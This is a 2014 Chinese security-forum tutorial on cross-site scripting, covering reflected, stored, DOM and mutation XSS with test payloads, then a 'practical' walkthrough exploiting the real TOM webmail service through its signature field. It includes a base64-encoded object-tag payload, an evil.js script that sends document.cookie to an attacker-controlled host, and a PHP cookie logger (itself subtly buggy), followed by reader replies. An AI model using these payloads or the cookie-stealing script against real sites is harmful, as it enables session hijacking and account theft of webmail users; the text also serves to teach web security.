查看: 20206|回复: 12

[零八信安征文]XSS教程(测试篇+tom邮箱实战篇)

[复制链接]
发表于 2014-5-3 19:04:54 | 显示全部楼层 |阅读模式
本帖最后由 nextdoor 于 2016-7-29 10:39 编辑

##########################################
#  Title    :XSS教程【测试篇+实战篇】
#  Time   :2014年5月3日
#  Team  :08sec team
#  Author : nextdoor
#  首发   : 08安全小组
##########################################

测试篇

一、反射型XSS
反射型XSS主要是提交的变量上未进行过滤,输出后当成代码执行
首先说说XSS的的输出,JS代码可能输出在html标签中,html标签属性中,html事件中
和SCRIPT标签中。
A.输出在html标签中
由于未对userinput标签进行过滤,在变量后插入我们的代码
01.PNG
02.PNG
代码执行成功了
看看我们的源码,JS代码已经插入了
03.PNG
B.输出在html的属性中
由于未对userinput标签进行过滤,测试后知道userinput是个变量,得出输出的位置如图
6.PNG
那么就构造我们的js代码为#” onerror=”alert(/08sec/);成功触发代码
首先闭合前一个双引号,最后一个双引号让他闭合onerror属性。
5.PNG
代码插入到img的src属性中,插入成功源码
4.PNG
C.输出在事件中
首先我们看到了userinput的变量的输入和输出点
7.PNG
看到变量userinput的值aaaaaa在onclick事件中输出构造代码,首先闭合单引号’
在注释掉aaaaaa后单引号后的值代码如下’;  alert(/08sec/); // 两个斜杠注释后面的内容。结果如图
8.PNG
插入后的源码
10.PNG
D.输出在JS标签中
下面的js是输出的位置
11.PNG
构造代码,首先闭合”在注释后面的双引号构造的代码”; alert(/08sec/); // 触发成功
12.PNG
插入后的代码
13.PNG


二、存储型XSS
存储型的和反射型的区别就是插入到数据库中,在任何需要这个变量的时候输出。
但是利用的过程和构造xss利用代码的过程差不多。不在一一举例了。仅仅找两个代表
性的和大家交流一下。
A.输出在html标签内
首先还是看看输入点和输出点
14.PNG
16.PNG
下面构造代码,首先闭合<textarea>标签就可以了aaaaaa</textarea>
<script>alert(/08sec/);</script>插入后成功执行
17.PNG
插入成功之后的代码源码
18.PNG

B.输出在script标签里
首先找xss漏洞不要盲目的插,而要先找输入和输出点
19.PNG
20.PNG
构造我们的js利用代码
先闭合单引号在注释后面的单引号和分号利用代码aaaaaa’; alert(/08sec/); //
成功触发
21.PNG
插入成功后的代码
22.PNG

三、DOMXSS
说到DOMXSS,其实他也是反射型xss的一种,只不过它是把标签写入到innerHTML中,在通过DOM渲染出来。
就是插入innerHTML中的内容会以网页的形式显示出来。
代码如下:
23.PNG
测试代码执行
24.PNG
25PNG.PNG

四、MXSS
这个漏洞是今年2月好像一个老外发现的,MXSS的意思是突变的XSS。下面是MXSS的解释:如果用户所提供的富文本内容通过javascript代码进入innerHTML属性后,一串看似没有任何危害的HTML代码,将逃过XSS过滤器的检测,最终进入某个DOM节点的innerHTML中,浏览器的渲染引擎会将本来没有任何危害的HTML代码渲染成具有潜在危险的XSS攻击代码。随后,该段攻击代码,可能会被JS代码中的其它一些流程输出到DOM中或是其它方式被再次渲染,从而导致XSS的执行。 这种由于HTML内容进入innerHTML后发生意外变化(mutation,突变),而最终导致XSS的攻击流程,被称为突变XSS。
代码如下
26.PNG
测试过程代码突变了
27.PNG
更多关于MXSS信息,参考http://hi.baidu.com/doordoor6/item/d1d3601c9d52634870d5e873


实战篇
看了上面的测试篇之后,大家或许对实战早就期待了。下面以TOM邮箱为例子进行演示。
反射型的XSS就不说了,主要说说存储型的和MXSS的。
1.存储型
测试过程
a.找输入点,并插入测试代码
首先对常用表签script放入内容中测试,发现进行原样说出,一般情况下写信是没有漏洞的,mxss漏洞下一步在测试。
那么看看其他输入的地方,发现有一个个人签名,看看个人签名处过滤的没有。哈哈,签名处没过滤。
那么我们拿一个JS代码试一下。
28.PNG
29.PNG
b.看看输出点,输出点是收件人
30.PNG
31.PNG
代码执行成功,漏洞存在。
原来测试的TOM信件中如果要<script>和<img>标签后是不能发送的,是黑名单的过滤。还过滤了很多危险的标签,不知道怎么回事,今天写文章时竟然没有过滤了,有时候有些事总是那么的莫名奇妙,可能是防恶意代码的软件关闭了。如果过滤的话一般会过滤<script>,
<img> 和<iframg>以及标签中的on事件。原来测试的<object>标签没有过滤,那么就用<object>标签吧,还有就是<object>标签会自动触发的,我看到有人在乌云上提交过自动触发的,我提交的有些晚了,在测试发现不能自动触发了,可能自动触发TOM网站已经堵住了。但是在回复,转发触发依然可以触发。
过程如下
利用的代码
<object data=data:text/html;base64,PHNjcmlwdD5hbGVydCgvMDhzZWMvKTs8L3NjcmlwdD4=></object>
PHNjcmlwdD5hbGVydCgvMDhzZWMvKTs8L3NjcmlwdD4=这是经过base64加密后的代码
源代码<script>alert(/08sec/);</script>
0801.PNG
0802.PNG
0803.PNG
0804.PNG
0805.PNG

2.MXSS型
测试过程
原来测试的时候在邮件正文和邮件标题是都可以触发MXSS但是今天写文章时就不行了
啊啊肿么办啊。只有看看签名处可不可以突变了。
A.还是先找输入点,对于邮箱输入和输出比较好找,和上面的一样了
0815.PNG
保存后不能再点击了
0816.PNG
自己和自己发一封信
0814.PNG
我们收到了信件,原来是直接触发的,现在也不行了
0813.PNG
当我们点击回复,转发或全部回复时,突变代码再次进入DOM节点时,成功触发
0811.PNG
0812.PNG
至于代码执行后利用的过程
把888换成下面我们evil.js脚本就可以
盗取cookie的js脚本
evil.js
==========================================================
var js = document.createElement('script');
js.src = 'http://my.com/getcookie.php?c=' + document.cookie;
//my.com换成自己的网站,如果有xss平台就把js.src改为平台的地址,就不需要
下面的getcook.php了,如果过滤单引号可以把括号的内容改为Strng,在这里不再详细描述
如果感兴趣的话自己搜一下
document.body.appendChild(js);
==========================================================
这是盗取网站的代码放到我们自己的服务器上就可以了。
getcookie.php
===========================================================
$querystring = $_SERVER["QUERY_STRING"];
$querystring = $_SERVER;//接受全部内容
$link = fopen("cookie.txt","a+");
fwrite($log,$querystring);

对于xss的防御,我现在正在研究之中,还没有研究完全,暂时先不发来。
等完全搞好了,在和大家共享。如有错误的地方,希望大家提醒。

评分

参与人数 3人气 +4 i币 +28 贡献 +2 收起 理由
Pony + 2 + 10 支持原创
乏味 + 2 果断保存下来,正在学这个,不知楼主可不可.
90_ + 2 + 16 + 2 相当靠谱的科普文+实践。

查看全部评分

回复

使用道具 举报

发表于 2014-5-3 20:25:01 | 显示全部楼层
好吧,楼主人才啊,文章那么长,我还没看就表示有压力了
回复 支持 反对

使用道具 举报

发表于 2014-5-3 21:54:10 | 显示全部楼层
相当不错,看明白了
回复 支持 反对

使用道具 举报

发表于 2014-5-3 22:02:46 | 显示全部楼层
我想说的是 这么长  为什么不录个教程呢
回复 支持 反对

使用道具 举报

发表于 2014-5-4 01:28:51 | 显示全部楼层
这么长
回复 支持 反对

使用道具 举报

发表于 2014-5-4 09:28:59 | 显示全部楼层
很好,很详细,谢谢分享
回复 支持 反对

使用道具 举报

发表于 2014-5-4 14:03:47 | 显示全部楼层
人才,文章那么长,我还没看就表示有压力了
回复 支持 反对

使用道具 举报

发表于 2014-5-9 17:47:04 | 显示全部楼层
没有doc文件下载吗? 先mark 有空再看
回复 支持 反对

使用道具 举报

头像被屏蔽
发表于 2014-5-9 18:54:04 | 显示全部楼层
提示: 作者被禁止或删除 内容自动屏蔽
回复 支持 反对

使用道具 举报

发表于 2014-8-11 16:26:41 | 显示全部楼层
hdx好东西 谢谢分享
回复 支持 反对

使用道具 举报

您需要登录后才可以回帖 登录 | 注册

本版积分规则

指导单位

江苏省公安厅

江苏省通信管理局

浙江省台州刑侦支队

DEFCON GROUP 86025

旗下站点

邮箱系统

应急响应中心

红盟安全

联系我们

官方QQ群:112851260

官方邮箱:security#ihonker.org(#改成@)

官方核心成员

Archiver|手机版|小黑屋| ( 沪ICP备2021026908号 )

GMT+8, 2025-5-3 04:36 , Processed in 0.310189 second(s), 20 queries , Gzip On.

Powered by ihonker.com

Copyright © 2015-现在.

  • 返回顶部